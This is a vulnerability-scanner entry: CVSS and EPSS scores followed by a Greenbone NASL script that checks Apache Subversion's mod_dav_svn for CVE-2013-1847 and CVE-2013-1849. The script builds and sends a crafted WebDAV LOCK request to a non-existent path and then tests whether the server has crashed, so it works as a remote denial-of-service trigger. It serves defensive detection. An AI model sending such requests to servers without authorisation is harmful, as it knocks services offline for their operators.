5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
6.3 Medium
AI Score
Confidence
Low
0.112 Low
EPSS
Percentile
95.2%
Apache Subversion is prone to multiple denial of service vulnerabilities.
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802055");
script_version("2024-01-26T05:05:14+0000");
script_cve_id("CVE-2013-1847", "CVE-2013-1849");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_tag(name:"last_modification", value:"2024-01-26 05:05:14 +0000 (Fri, 26 Jan 2024)");
script_tag(name:"creation_date", value:"2013-06-11 12:32:36 +0530 (Tue, 11 Jun 2013)");
script_name("Apache Subversion 'mod_dav_svn' Module Multiple DoS Vulnerabilities");
script_xref(name:"URL", value:"http://secunia.com/advisories/52966/");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/58323");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/58897");
script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2013/Mar/56");
script_xref(name:"URL", value:"http://subversion.apache.org/security/CVE-2013-1847-advisory.txt");
script_xref(name:"URL", value:"http://subversion.apache.org/security/CVE-2013-1849-advisory.txt");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2013 Greenbone AG");
script_family("Denial of Service");
script_dependencies("gb_get_http_banner.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("Apache_SVN/banner");
script_tag(name:"affected", value:"Apache Subversion 1.6.x through 1.6.20 and 1.7.0 through 1.7.8");
script_tag(name:"insight", value:"An error within the 'mod_dav_svn' module when handling
- 'LOCK' requests against a URL for a non-existent path or invalid activity
URL that supports anonymous locks.
- 'PROPFIND' request on an activity URL.");
script_tag(name:"solution", value:"Upgrade to Apache Subversion version 1.6.21 or 1.7.9 or later.");
script_tag(name:"summary", value:"Apache Subversion is prone to multiple denial of service vulnerabilities.");
script_tag(name:"impact", value:"Successful exploitation will let the remote attackers to cause a segfault.
NOTE : Configurations which allow anonymous read access to the repository
will be vulnerable.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");
port = http_get_port(default:80);
banner = http_get_remote_headers(port: port);
if(!banner || banner !~ "Server\s*:\s*Apache.* SVN")
exit(0);
useragent = http_get_user_agent();
host = http_host_name(port:port);
if(http_is_dead(port:port))
exit(0);
# nb: LOCK request body
lock_body = string('<?xml version="1.0" encoding="UTF-8"?>\n',
"<D:lockinfo xmlns:D='DAV:'>\n",
'<D:lockscope><D:exclusive/></D:lockscope>\n',
'<D:locktype><D:write/></D:locktype>\n',
'<D:owner>\n',
'<D:href>http://test.test</D:href>\n',
'</D:owner>\n',
'</D:lockinfo>\n');
foreach dir(make_list_unique("/", "/repo", "/repository", "/trunk", "/svn",
"/svn/trunk", "/repo/trunk", "/repo/projects",
"/projects", "/svn/repos", http_cgi_dirs(port:port))) {
if(dir == "/")
dir = "";
url = dir + "/";
req1 = http_get(item:url, port:port);
res1 = http_keepalive_send_recv(port:port, data:req1);
if(!res1 || res1 !~ "^HTTP/1\.[01] 200")
continue;
# nb: Send normal request and check for normal response to confirm. Subversion is working as expected.
proper_path = string("LOCK ", url, " HTTP/1.1", "\r\n");
common_req = string("User-Agent: ", useragent, "\r\n",
"Host: ", host, "\r\n",
"Accept: */*\r\n", "Content-Length: ",
strlen(lock_body), "\r\n\r\n", lock_body);
normal_req = string(proper_path, common_req);
normal_res = http_keepalive_send_recv(port:port, data:normal_req);
if(normal_res =~ "^HTTP/1\.[01] 405")
continue;
# nb: non-existent path
rand_path = rand_str(length:8);
non_existant_path = string("LOCK ", url, rand_path, " HTTP/1.1", "\r\n");
# nb: Some time Apache servers will re-spawn the listener processes. Send a non-existent path
# and check for the response. If no response is received then a Segmentation fault occurred.
crafted_req = string(non_existant_path, common_req);
crafted_res = http_keepalive_send_recv(port:port, data:crafted_req);
# nb: patched/non-vulnerable version repose HTTP/1.1 401 Authorization Required
if(crafted_res =~ "^HTTP/1\.[01] 401")
exit(0);
# nb: Some times response has "\r\n" hence check strlen(crafted_res) < 3
# nb: Trying 2 times to make sure module is crashing
if(isnull(crafted_res) || strlen(crafted_res) < 3) {
crafted_res = http_keepalive_send_recv(port:port, data:crafted_req);
if(isnull(crafted_res) || strlen(crafted_res) < 3) {
security_message(port:port);
exit(0);
}
}
# nb: If HTTP did not re-spawn the listener processes
if(http_is_dead(port:port)) {
security_message(port:port);
exit(0);
}
}
exit(99);